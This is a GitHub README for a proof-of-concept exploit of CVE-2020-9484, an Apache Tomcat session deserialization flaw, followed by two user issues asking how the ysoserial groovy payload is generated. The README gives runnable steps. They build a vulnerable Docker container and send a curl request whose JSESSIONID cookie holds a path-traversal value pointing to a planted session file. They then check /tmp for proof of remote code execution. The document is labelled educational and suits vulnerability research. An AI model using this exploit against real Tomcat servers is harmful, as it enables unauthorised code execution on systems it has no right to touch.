masahiro331/cve-2020-9484

CVE-2020-9484 (Tomcat)

For educational purposes only.

See Reference for the details.

Run

$ git clone https://github.com/masahiro331/CVE-2020-9484.git
$ cd CVE-2020-9484
$ docker build -t tomcat:groovy .
$ CONTAINER=`docker run -d -p 8080:8080 tomcat:groovy`

Check (clean)

$ docker exec -it $CONTAINER ls -la /tmp

NOTE: (rce NOT in output)

Exploit

$ curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../usr/local/tomcat/groovy'

Check (exploited)

$ docker exec -it $CONTAINER ls -la /tmp

NOTE: (rce IS in output)

cve-2020-9484's Issues

Payload is not working as mentioned in your blog.

Hi there!
I have generated payload with ysoserial for groovy as mention in your blog. I have copied and paste in /tmp/filename.session. It is showing the index page not the payload. could you possibly guide on this? Thank you :)

How is groovy.session generated?

How is groovy.session generated?

I use ysoserial generate groovy.session, but it's don't work, and my generated file size is 4kb, your file is 2kb. why?

thinks.